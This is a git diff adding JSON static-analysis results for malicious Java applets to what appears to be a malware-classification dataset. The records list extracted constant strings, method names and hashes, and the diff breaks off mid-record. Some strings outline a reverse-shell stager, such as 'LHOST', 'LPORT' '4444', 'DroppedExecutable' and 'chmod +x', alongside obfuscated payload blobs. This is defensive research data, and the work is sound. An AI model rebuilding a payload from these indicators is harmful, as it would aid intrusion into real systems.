b/java_classification/data/malicious/c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd.results new file mode 100755 index 0000000..770b336 --- /dev/null +++ b/java_classification/data/malicious/c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 89}}, "_id": "120e2117-83f7-4d89-9d5c-e4684cc4322d", "verbose": {"java": {"constant strings": ["Y0000000000000000IQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pn,pL,PZ,0z,0N,pN,pN,p9,yi,kw,pU,Pe,P3,oq,tL,av,Ps,07,pu,PL,Kc,pd,LN,kP,pG,lN,Mn,kS,XG,PK,0Q,mV,lp,3Q,dU,SM,FJ,KX,sl,K1,x7,xl,KZ,W0,jf,d2,yi,xN,o5,Pe,PU,PI,rZ,Yq,xr,O0,ng,pU,P1,xR,UQ,bP,l0,m0,Tk,OT,VL,KX,hk,Xc,I5,P7,pw,pn,kj,wC,wO,pU,o5,PR,Uj,ZQ,WB,wR,gO,pw,OW,pP,uK,JL,Kh,oa,Op,3K,yN,a8,l7,te,Qu,Ps,0n,kk,lP,QV,2s,cR,HU,Tc,1s,0g,pK,O3,ft,Lp,ZS,iP,Qp,Rl,Ks,2b,s2,cK,0u,kW,pQ,eh,zo,q1,kK,L4,np,er,XS,US,E4,CK,3z,KW,xM,YG,sz,gS,sT,DV,Np,eB,Xs,Uo,6G,3T,HE,PQ,Ko,zk,qT,Dt,pl,HW,5S,0d,sO,0R,pf,01,CR,w0,PY,oa,Ft,PL,Cz,Xe,PB,US,6s,ZW,qa,CK,O1,F4,Dp,Z6,9O,sz,bd,Da,QO,pw,J5,Pt,5L,tK,OP,Vd,HP,Qc,fl,Kq,e7,LN,kp,tE,ed,8c,3y,ep,Vl,KR,Vu,p3,3l,5u,c9,YQ,YQ,QL,mw,sO,5v,SK,kt,OM,n4,P7,HH,rt,4g,xK,qJ,kv,m5,SK,jg,0J,Ki,aU,ku,Or,UY,wq,NN,kc,nT,dW,sk,m2,FN,kT,Lb,kN,k1,Ng,lw,sy,MN,kE,TL,Kw,sY,UN,KQ,NR,yH,Cx,hG,pK,Ok,OK,On,n2,nT,NJ,Lm,Hk,NM,ZT,NQ,nk,hK,R2,SE,ck,zN,jQ,Kp,65,JD,o2,PQ,tQ,Rr,Ha,fS,0B,Ha,dC,DP,pT,zt,oT,or,VC,Yp,pv,Me,ap,1V,RF,Wd,nS,Sb,Op,mT,oS,Su,7P,iD,mP,bp,iR,N6,Oe,3P,oP,oB,L3,Up,rd,n3,QP,sp,pR,X5,oB,ir,dw,MT,q6,PE,bV,Sg,H6,Y7,Vp,fU,2u,mB,wF,6v,2b,Vs,UP,Ut,yc,EQ,tC,xT,0P,Ps,QR,Mb,Cw,BS,cf,7p,5Q,Gb,EP,lb,PC,if,32,Md,4Q,JP,Wc,vr,jB,Oa,CB,wt,0D,p3,Qq,U6,YT,1R,tp,Tr,zR,Lp,MT,pD,pu,bS,db,wR,Pp,vC,Qp,WP,F1,Hs,eS,gr,LB,pR,m4,pD,p4,rc,dt,pR,rB,Vs,Qb,uF,Qc,eB,wF,4r,vP,N3,Qb,K1,Ft,sP,TP,ls,b0,ZQ,qs,e6,XR,ZQ,D3,d1,JP,NR,v3,ub,Ku,b2,sV,7p,1a,W1,qV,Rf,2Q,dF,6R,Nb,Lp,kR,rD,rQ,hT,vp,WR,LQ,I4,u2,CQ,V0,pr,dq,CF,4S,TQ,zp,eR,MP,8P,yf,4E,bP,l0,Jc,U7,5e,ac,up,Sr,xu,8p,NP,Vg,7r,TT,0p,TB,Zp,NP,NP,Nr,K4,uQ,UQ,rt,rr,Lc,Xp,MV,P0,Je,cP,YR,vp,NQ,Zr,nV,Qb,ra,aQ,t1,Tr,L3,Zb,Eb,Mv,Y0,6v,46,R0,lP,Ka,tS,vR,P3,uB,v2,wR,L6,0R,mT,pf,PV,Rp,T0,Xp,pP,JP,NP,kp,lR,Qr,vp,TV,6q,qR,rv,QS,uS,HV,7q,Gb,PF,6r,mQ,VR,PR,h1,FR,tp,Jp,PF,6r,gq,ss,JP,TV,QV,2s,v5,5S,vp,ps,ep,Ub,MR,HR,nP,aB,LS,zP,tS,gp,lQ,tp,RP,Mr,L0,kB,Yp,Vp,mB,LU,16,61,UF,Ps,Js,cP,Wt,0P,0P,Op,Qq,5p,3q,T6,ED,s1,Tf,OR,NP,0V,Pq,qt,qt,pV,RT,sv,PP,4V,Xf,Pu,ap,rp,0v,TV,PT,ys,zd,qU,av,PD,pF,PP,6T,pe,a1,B0,aT,wQ,rr,E5,he,34,xR,BQ,G5,36,Vc,Rw,Ep,73,Q5,dU,3p,Xp,dS,Sa,rT,qv,Ye,fc,Tq,r0,Yg,IT,p3,Rv,QE,2S,Q1,tV,Qq,J4,pG,Cp,0P,0f,Sq,vF,S5,fw,pu,PA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b8e0ffd7fcf69b9c3942941b31a0235b9e215039", "file_name": "java_malicious/c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd", "_id": "120e2117-83f7-4d89-9d5c-e4684cc4322d", "score": 0, "entropy": 5.971660981009569, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4113, "ssdeep": "96:arFlO8/z5YhfT6Za455DpafkvqYiTX0epfzpH:aRld/z5yToJIfFDNzpH", "sha256": "c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd", "md5": "96aa1825827de1e2261d6cd7be19f692", "parent_sha256": "c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793.results b/java_classification/data/malicious/c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793.results new file mode 100755 index 0000000..a244fc9 --- /dev/null +++ b/java_classification/data/malicious/c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "plwvHyjqtF/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "29991416-e5cc-40c5-aa30-0e639237ceb1", "verbose": {"java": {"constant strings": ["plwvHyjqtF.Payload", ".class", "/plwvHyjqtF.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "plwvHyjqtF.dat", "URL", "", "https:", "plwvHyjqtF/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "plwvHyjqtF/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "plwvHyjqtF.PayloadTrustManager", "useFor", "java.net.URLConnection", "plwvHyjqtF.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaGwbsiGV.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a0333acd54faa87922ac7aed38509a2c10853c79", "file_name": "java_malicious/c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793", "_id": "29991416-e5cc-40c5-aa30-0e639237ceb1", "score": 0, "entropy": 6.140238809459616, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMxDUBX+Wz5ThmkfxpIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tHXhtmizNvpvUrKYvCkgHzbDrDF", "sha256": "c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793", "md5": "e1b781cdb3319c4a0e4465401662bb77", "parent_sha256": "c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c211057314f92ecde9570e43de5bfb596a08e44e30ae614e00475f5d8d2695db.results b/java_classification/data/malicious/c211057314f92ecde9570e43de5bfb596a08e44e30ae614e00475f5d8d2695db.results new file mode 100755 index 0000000..162047a --- /dev/null +++ b/java_classification/data/malicious/c211057314f92ecde9570e43de5bfb596a08e44e30ae614e00475f5d8d2695db.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "enudwwlhl/fbemuqgjbamptlrngrpwpve", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["uqvpkyvsquegnbfbrpg", "", "", "gsyfuanlhrvdnncmendulqu"], "minor_version": 0, "const_pool_count": 1156}}, "_id": "04cc05fe-859f-411c-a489-c1504ab6b928", "verbose": {"java": {"constant strings": ["h12dhzqtsp86a65ykhsf2p76", "zcw0m8dszuu14ffe5", "p3lvl", "337824", "1ph", "15529", "p53p25gq1ybd1dcsht", "705315", "4azyq13pb0", "cm3jy2r0u04fumqctym35", "byl5ztg8efvalmsg", "60bqwl54322e3e8y3yny7lf", "fcytzw", "vg8cf", "8vsrlryvfcawqw41ad1", "134285", "2vg0g334ge", "luawuz3dze03sncuvweq1r6zw2fz5", "707", "596278", "anp2zgn0l8w10ttakk3b836rks", "2td", "n61", "qz27a7lk2b5a3hb5g5gk6g12d", "0wywh", "fp1wya6wwlpa0e81h0fhk56t0e1up", "bd1f", "164836", "175307", "w56y", "eu1m120lwscmn38r5gza5ss1nzfdhdvkp4rw", "0dq1c67a", "7g12", "a6vssr2acspf4n45qfat", "66temh8rm4ajh5fvtea7fu850ndnm1", "s1rrwbzchtlupv6d0amlbwfpdr", "md5s5u2j2yvtyk71p6", "ycv", "4m5euggm", "15b03ht8", "wkcs00vq0em", "0j3jsg75lfzcrkzzj158sgm", "7d6mb1fw4mscbcp2mhck3aqmnfus", "jq164", "t0jgplt", "nr8p2", "vc2361gektvwy01bkd4um3w0", "ycvtfrdzadkpfunjdznj", "\\x0c\\xc0\\x80\\x14\\r\\x06", "\\x1cd\\x1ff\\x18a", "\\x05\\x02\\x0e\\x1aFU\\x15\\x0c\\x17\\x0b\\x1e\\r\\x0e\\x04\\x18T@\\x16\\x01\\x04\\x1f\\x0e", "dC6\\\\$R0\\\\$J`D3", "\\x13V\\x0e\\n\\x18\\x06E\\x02\\x0e\\x14D\\x13\\x18QBVFQ\\x04W\\x13\\r", "\\x1bd\\x18/\\x1b\"\\x10`F9O,\\x18\\'Ic", "\\x02\\n\\rW\\x02\\x19@\\x04\\x12\\x14\\x17\\x0b\\x1c\\x15\\x1a\\x11\\x19\\x16C\\x11\\x1c\\x14", "C?\\x1ab^7", "\\x10\\x1c\\x0b@\\x06", "\\x196O`O>B>\\x1f3\\x1b4O6L/\\x1d=Bd", "\\x13\\x07\\x1a\\x03\\x08F\\x10\\rS\\x19\\r\\x1fX\\x03P\\x10T\\x13\\x04", "\\x1a>\\x1cf\\x19>\\x1d\\'\\x18\"@,EeR\"Dd_dX=\\\\8\\x1f$", "\\rCP\\x06\\r\\x07\\x02AR\\xc0\\x80V\\x17PG\\x0e\\x1a\\x17DPARL\\n", ">\\x1e\"[/C#M%C?\\x10\"Y?", "\\x01\\x02\\x1a\\x16\\x16\\x05\\x02\\x13Q\\x1f\\x04B\\x06\\x1fQ\\x19\\x17", "g\\x1bf\\x1dbJ`\\x108N?]2Cc[?Z2R1Lg", "\\x03\\x07\\xc0\\x80\\x12\\x12\\x0bBT", "\\x1edN2C;\\x1f4O#N6\\x18gK/LfXe\\x1a?Y\\'L8\\x1c!", "F\\x0e\\x17\\x0e\\x1fQA\\x0e", ",K&", "\\x05EVC\\x02\\x1aRC\\x0cC\\x13D\\x17\\x17\\x19\\x07U\\x03\\x0b\\x07\\x0b\\x10\\x11\\x1c\\x07", "\\x106Eb\\x18%B,]b@mF2X0", "@YDYCT", "%\\x10\"Nf\\x1bb\\x1b#@9@bO=", "FU@XCU", "Z7YcJ#[0]8\\\\/YaB\"\\x18\"\\x1dbF \\x1c3E%]e", "\\x16F\\x02G\\x13\\x18\\x02@\\x10\\x10U\\r\\x05\\x0e\\x12\\x10\\x0e\\xc0\\x80X\\x18\\x04\\x01\\x03G\\r\\x07\\x16@U", "\\x1ed\\x1dl\\x1bm", "\\x15V\\x06\\x0c\\x10\\n\\x05\\x10\\x10\\x19", "I;X%", "\\x0c\\x17W\\x07\\x01\\x18T\\x1c\\x0e\\x11VB\\x13\\x03\\r\\x16R\\x07R\\x18\\x08\\x07\\x03", "\\x1f/Y\"\\x100\\x1d4K?", "\\x02\\x10T", "R#\\x1fc\\x19;[\\'Z6]e^g", "A\\x10\\r\\n\\x1c\\x15\\x11\\rB\\n\\x1e\\n\\x07\\x01GX\\x1f\\x17\\x18\\x19\\x10\\x04\\x07Q\\x10\\x10\\x19U", "N\"Cm_\"I%Ia@\\'QeQa\\x1a>\\x1c\\'K\"", "\\x11\\x1c\\x17", ",R!\\x18gO\"[`_eK O Q&", "\\x04\\x12\\x12\\x16@T\\xc0\\x80\\x15E\\x0e\\x1aX", "/Rm@$[#Em_7\\x19?Y=E \\x1c2N2Zc\\x1c&Z;@g\\x184", "B\\x01G\\x16", " \\x1ef", "\\x0eA\\x0e\\x11Q\\x0e\\x13\\x11\\x14\\x01\\x0c\\rT\\x16WCT\\x0e\\x19", "M4Q2JgFm", "\\x08\\r\\x06\\x15\\x11\\x1c\\x14\\x0e\\x15L\\x08\\x05\\x12E\\n\\x15\\x04\\x04P\\x19U\\x18\\x15\\x04V@P", "Q4K2\\x18`C3", "C\\x03\\x07\\x0e\\x01\\x07\\x17\\x10\\rWE\\x17\\x18\\x04\\x1f\\n\\x04\\x08\\r\\x14CWDR\\x12\\x0c", "\\x1d0C=Mf]dBb_mK>^2RfE`^\"\\x1ca", "\\x02\\x1e\\x11\\x13W\\x1e\\x13\\x18U\\x02\\x10\\r\\x17", "`XeO7\\x1a1", "\\r\\x0e\\x12\\x06\\x0e\\x0b", "E\\'C\\'X8\\\\7L?BfF9D F;\\x19=\\x1eb\\x10a", "EWFUBX", "f[/I;Q&EaD\"\\x18`@8[cM9\\x18m\\x1c%R3", "BXBSLT", "O![#\\x1b`", "\\x11V\\x13W\\x17R\\x07S\\x1a\\x08\\x1e\\x0e\\x17\\n\\x03\\x0c\\x11\\x16\\r\\x01\\x1f\\x13\\x1fS", "\"N2^a[3I2D%Fc\\x1c7O&\\x1c1\\\\$", "\\x14F\\x15\\x03VG\\x19ES\\x03\\x1a", "\\x1f4]1I;\\x1b3\\\\2K%E!", "U\\x04\\x03\\x1c\\x1a", "\\x1cc\\x1ef\\x1ca", "SFTDV", "!Y`N3^c\\x1eaIf\\x19,Re\\x1e%D,Q8Rf", "RD\\x01D\\x0c\\x01\\x0e\\x1c\\n\\x10\\x06G\\x05\\x18\\x04A\\x05LWFP", "f\\x1cl\\x1aa", "\\x1f\\x06\\x07\\x15\\x07U@\\x15\\x19\\x0cAS\\x1eU@\\x0b\\x17\\x10\\xc0\\x80V\\xc0\\x80\\x19", "&F?X7F`K6\\x1be", "\\x01\\x14\\x0e\\x06\\xc0\\x80\\x16A\\x14\\x04\\x15\\x1fU", "Mb\\x1a!\\x1f6Y!L8\\x18 \\x1be", "E\\x14\\x1aS\\x16\\x14\\x03\\x19", "4M=\\x1a9@9Y/L3KgN8B%X%]3L!", "\\x02\\x17@\\x02@U\\x04\\x05\\x1cU\\x05\\x1a\\x11T\\x16\\x0cC\\x06A\\rD\\x02\\x06Q\\x0eS\\x1cS", "J!YeQ2_mF`\\x1a,Q!\\x106^6I/\\x1fm", "\\x07\\x04Q", "O1Fm", "P\\x03S\\x02\\x08\\x18\\x01\\x1c\\x12F\\x12\\x05\\x0cL\\x03\\x07X\\x11S\\x1f\\x04\\x10Q\\x07\\x10\\x18\\n\\x13\\x03", "\"K7I\"]3BdFc", "C\\x07\\x04S", "2\\x1bc\\x1d1C9_2\\x1d%F=]c\\x194", "\\x02EP\\x11\\x12\\x1eSAX", "Qc\\\\e", "\\x06F\\x10\\x06\\x17G\\x0bA\\x14\\x16\\x01\\x11P\\x11\\x11\\x1eX", "\\x10gD7O,D2\\x10g", "\\x12\\x13\\x07\\x01\\x07\\x15\\x01\\x0eDS\\x05UB\\x12\\xc0\\x80\\x12E\\x16GT\\x16\\x04\\x16V\\r\\x06", "E9_,\\\\$@!Y0X;\\x1a!Ze]\\'", "\\x17D\\x15\\x03V\\x01W", "\\x1daF8\\x1e8", "F\\x06\\x10\\n\\x01\\x1a\\rV\\r\\r\\xc0\\x80\\x15BS\\x1a\\rA\\x1aC\\x14\\x17X\\x15\\x01\\x17VBT\\x06\\x04GV", "EbD8[d\\x18>^#\\x186[9X2\\x1b!\\x188", "FX@S@T", "\\\\mC8\\x1e0Q7Z!O,M8", "\\x01\\x03\\x0e\\x12XDV\\x1c\\x02\\x03\\x03", "\\x10`Z/", "E\\x12\\x05\\x11\\x15\\x03@\\x04\\x15\\x17\\x07Q\\x1cVCWL\\x10", "]gF>\\x1feJ4\\x1e7Ic\\x182I\"[g\\x1e9E\"]eL%\\x1c`Zf]9R4D9", "A\\n@U\\x1c\\x03\\xc0\\x80\\x0c\\x10\\x13\\x06\\x08\\xc0\\x80UC\\x17DVG\\x08", "1E\"KgB%\\x188@6\\x182KeEdQg\\x19/DgO$B1Y4\\x10&", "B\\x14\\x12\\x13B\\x01\\xc0\\x80\\x0b\\x04V\\x17\\x06L\\x0e\\x12\\x0e\\x02W\\x17X\\x1fV\\x01U", "2[cMc\\x19fB`\\x1egE6D;Mb\\x10;_1\\\\8@ ", "\\x11\\x04\\x08CT", "$\\x1e%", "\\x02\\x08@\\x16L\\x06\\x12SE\\x10@R\\x15\\x08DR\\x11\\x05\\x05\\n\\x10\\x19\\x01V", "K J3XaD2Q Eg\\x1d%^6", "\\x16\\x12\\x16\\x19\\rF\\x01\\x18W\\x03\\nL\\x17A\\x16D\\x12DP\\x0e\\x0bD\\x01AP", "J2]3K=", "\\x17\\x12P\\x02U", "\\x1cm\\x1a R=]e]$\\x1db\\x192_;_1\\x101D1O#\\x1a%X`\\\\;\\x1acCb", "\\x15\\x18\\x06\\x1fQ\\x17P\\x1e\\x03\\x1a\\x05\\x0eT\\x06UL\\x03", "$\\x10\"X/K9", "EWLYCT", " F9XeFc", "\\x1a\\x06VDW", "Xb_0J1Z6M;Z/C1"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ec5c39813f524141b3ebb3123c4fe715a3169437", "file_name": "java_malicious/c211057314f92ecde9570e43de5bfb596a08e44e30ae614e00475f5d8d2695db", "_id": "04cc05fe-859f-411c-a489-c1504ab6b928", "score": 0, "entropy": 6.342507855648319, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 14784, "ssdeep": "384:xRgogPglcTeMiYsJW7YXdibrF2w9NbJagiDWNdx8:xigbDWMXMlh9NbJhTf2", "sha256": "c211057314f92ecde9570e43de5bfb596a08e44e30ae614e00475f5d8d2695db", "md5": "39ab377343f83aaca8d3c608555943f6", "parent_sha256": "c211057314f92ecde9570e43de5bfb596a08e44e30ae614e00475f5d8d2695db"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c.results b/java_classification/data/malicious/c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c.results new file mode 100755 index 0000000..f93fe6b --- /dev/null +++ b/java_classification/data/malicious/c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 89}}, "_id": "60ba8d89-5375-4d97-99cf-165ff2a2ac64", "verbose": {"java": {"constant strings": ["Y0000000000000000IQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pL,PN,pn,pL,PJ,0n,pL,Pk,YK,K5,Pc,0e,PQ,O3,Tm,qP,0g,p5,Pe,PL,Ks,p6,lN,k0,pu,LN,Mn,ks,Xu,pK,0q,mD,Lf,Sc,D5,SN,vh,kl,3n,kr,HU,XN,kI,gP,jc,4p,Yz,Hn,ow,ps,0s,0y,rj,Y2,HR,Op,nW,pW,pS,Xa,e0,r2,L0,mC,dk,O6,vn,ky,xz,Hp,ye,P5,Pc,0n,kz,wg,7O,pe,o5,PP,uY,jw,7v,7S,wo,pw,O5,P4,5I,jn,kZ,O1,Od,sy,YO,qJ,L7,tu,Q7,pU,PN,ky,LF,1r,rS,ce,87,tf,aw,pW,pk,Or,v6,lP,Zf,9r,q2,rn,kT,Bp,SR,cm,Pu,kU,Pq,eh,zm,Q1,ky,lv,N0,eQ,h5,5D,5U,SO,s8,kE,XN,iV,cO,7W,3S,4v,Nb,Er,XP,eo,60,Cf,hU,P3,km,Z9,Qt,DF,PK,82,ew,pu,c9,Pr,pp,Pp,S3,gv,0k,Or,v4,PO,sI,hg,pB,U6,fQ,z7,qP,Sk,OF,6s,41,Jp,Yn,ci,RE,T7,1m,Pu,jG,pp,un,Ty,oV,65,Xb,qr,vN,k2,Ue,lN,kp,tP,5s,H3,3x,uP,VN,kd,6e,pW,sl,5f,Sk,ya,YQ,QL,mg,s8,EF,S9,Kd,Om,nf,pV,XK,BP,t6,hk,qJ,kt,MU,SJ,zQ,PZ,KZ,QU,k5,Ot,5X,gq,NN,k1,Na,4e,SK,m3,VL,Kt,Lb,kl,Kq,N5,LG,sK,mN,k7,tl,KC,3X,EL,kC,nb,yJ,cK,Xg,pY,oK,O9,oL,Np,ND,NJ,LN,xK,NM,ZD,N3,Nz,xM,2p,sT,s8,Jl,JQ,KP,6E,Jt,oP,pr,rC,UQ,r2,P3,YQ,tp,Q0,EW,p5,8S,DB,Tp,pG,Jt,oD,o0,pB,Oc,Zu,90,hv,NR,IB,N0,fr,Ov,Op,pC,Qq,wa,uT,oP,ns,Up,wR,Sd,nr,PQ,xT,0F,OR,N0,0P,00,84,qf,Pv,Vt,rT,p6,Qt,sD,pU,db,RT,p4,td,pT,y3,zV,Qp,1V,Pt,pF,PV,VF,Pv,Qp,Rg,G6,SD,vU,2t,wa,uD,y0,06,7b,ET,xQ,q1,qv,Vq,t1,t3,QF,8w,F5,eT,pp,ce,ia,ru,fb,Cv,9t,rD,yd,pD,uP,ag,EV,R0,dP,Zv,Pv,Qt,p4,pp,fd,pV,WV,Pw,pS,0A,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f9d307a558bd6d732231485f48385d78713189cf", "file_name": "java_malicious/c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c", "_id": "60ba8d89-5375-4d97-99cf-165ff2a2ac64", "score": 0, "entropy": 6.120939007495899, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3255, "ssdeep": "48:aTu9yFlw5vOa7cUCyKfhZhxEP0tiqzcqJC0rgqJIKFis+5XBUHeVrnPgpIzBHFhH:arFlOvOe6y6FEcEtYqYiTX0epfzpH", "sha256": "c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c", "md5": "a79fbfdead879b5ffcd1d89d73a6a6d8", "parent_sha256": "c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7.results b/java_classification/data/malicious/c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7.results new file mode 100755 index 0000000..da091a3 --- /dev/null +++ b/java_classification/data/malicious/c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/keyt", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "eahjyjhjqhrpacv", "dhkdulsvvxvowgelr", "kadndjleyiequuf", "xmyrdwuqtzggrnmg", "yxssphnwwoepevsnck", "wuuvjrymjabtggzocmh", "xmtmqfldwwrkndcysm", "uozgywtueyfkvzkd", "udbgodczqycqeextxr", "go", "vliryngftjxymkqikb", "defcls", "nqamiajjotowxpjll", "kggontrzvjcuatr", "jgalocnytvndogdm", ""], "minor_version": 0, "const_pool_count": 296}}, "_id": "1f16a100-e16c-45c7-93f1-bbe1e2005926", "verbose": {"java": {"constant strings": ["lgpb", "ba", "yjpqsjqpbyklbcvvkco", "ldtibcfyuhfwkz", "dunevvuqau", "ppj", "eiimfzdjhoepihjxxl", "xkqqbfxapxcrjah", "fszkstfetejamjgjohrafg", "b", "", "mzratbufwpjhcnxeujfcztgrik", "ynfxfgffeuiqswxeyvfa", "aqiatjctcqhzpprczaazg", "lhkddmvygvgafeockpbeznhunqlyz", "aabxkpjfidalmqqwf", "juuqxercwpgiszoyzvufd", "zwchknuxpjgcdpsh", "zvnid", "kbnvlx", "ibfpgnsydaliges", "gztbbgvsfmuogclicdg", "gftop", "zdavenloasryhrwyxagsjcnhcgmav", "nff", "mxckwgnzcu", "mofuvalefpaoh", "xaicqckqwxmkmqpmxspf", "zeemdwdcptgyhlyknadokxjgw", "qkhgzdrzeptktf", "qodbiwdcjznpbiqoyce", "vojlfwtc", "fhzzxzrdwnos", "yqdavmcpfzxqtmvakvgijoffu", "fuqgo", "bqpodxiwu", "ehcpkikslcq", "kxhfoboogqvnbceiavmwwjbrxcl", "jwjxmdntojb", "jx", "uxxsevqeeuvvaosq", "qyfleuiqztsq", "dfnmwtczsbfstxq", "jm", "oevxwhtaye", "xggbqohfzzvbzrgrgfpmbiwmt", "rwsdyjascxddeblr", "aoroduobepfjeyprfw", "kmd", "wjsqcazsqsyq", "mkoygzcbmqdcyukt", "lmmiggdpoympqyubqgtxujaugieub", "seylzabfuvf", "nxaaophqzeo", "qokxsjtqlpwnjbvkiyeqqxegcyjxvl", "dvawjjuksxoidxsmh", "teuyytslmhqbijudpfkchqigri", "tqshcazglwcxdp", "pfjdadi", "oduscwfdlv", "tesogplokjacuwjn", "fxycwildktbi", "xzgifulzjdekyjpqtjfsxnbilwh", "cjmixwuheeracbjqrej", "apejbha", "wny", "gvhhvlhyuamorrzpfijkrit", "vylzjtoikogugmrybytkhiqc", "mgtfilynftiootwvxowqki", "kmpbdgyyblexglefomlckbdfcio", "fchgjotkpydqr", "qugmtpwvyqke", "vttjybywypbhhrqiuznldrorkko", "kpjbihaqqxnr", "wbmt", "jptquinzbanbnab", "qlwaz", "uivsx", "mqcnobh", "qepyu", "tukxfcykxhlwshrlcese", "mhyspvqavtjqgsnhorgmimpqf", "dguqhywbfpqaqn", "wlsbwrrbcbnzxgr", "iwssjhkcazvlw", "ukhuteirmebysvqcexynytqkxb", "yzwcrjaovxbctgwsnvzjelvw", "z", "oxlgmxcvzbnzjuevjxmtdgb", "svyzram", "kmrtya"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "03baf65971604e422f0467dd0abde12757b07438", "file_name": "java_malicious/c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7", "_id": "1f16a100-e16c-45c7-93f1-bbe1e2005926", "score": 0, "entropy": 5.7460694301239, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6376, "ssdeep": "96:FvciBOv25K1y13CAROkGb1jpQulaLrRw2OqlRX5lh65dNMOWbBwi7tKazCtxLbSS:FJOv2yygyLK1jQrWym0O1ae7yS", "sha256": "c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7", "md5": "d0cdce0c231a77ee7516b4a55d7fd438", "parent_sha256": "c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2.results b/java_classification/data/malicious/c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2.results new file mode 100755 index 0000000..a5b1d3d --- /dev/null +++ b/java_classification/data/malicious/c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Serii.java", "class_name": "Serii", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Ne", "Ogvjh", "Pvjfg"], "minor_version": 0, "const_pool_count": 125}}, "_id": "2b8643d5-0e89-46f4-aa36-46037b588048", "verbose": {"java": {"constant strings": ["close", "wri", "te", "java", ".io.tm", "p", "dir"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "11b5b8521b19f0072fdcf2702f1ff6d9136296bd", "file_name": 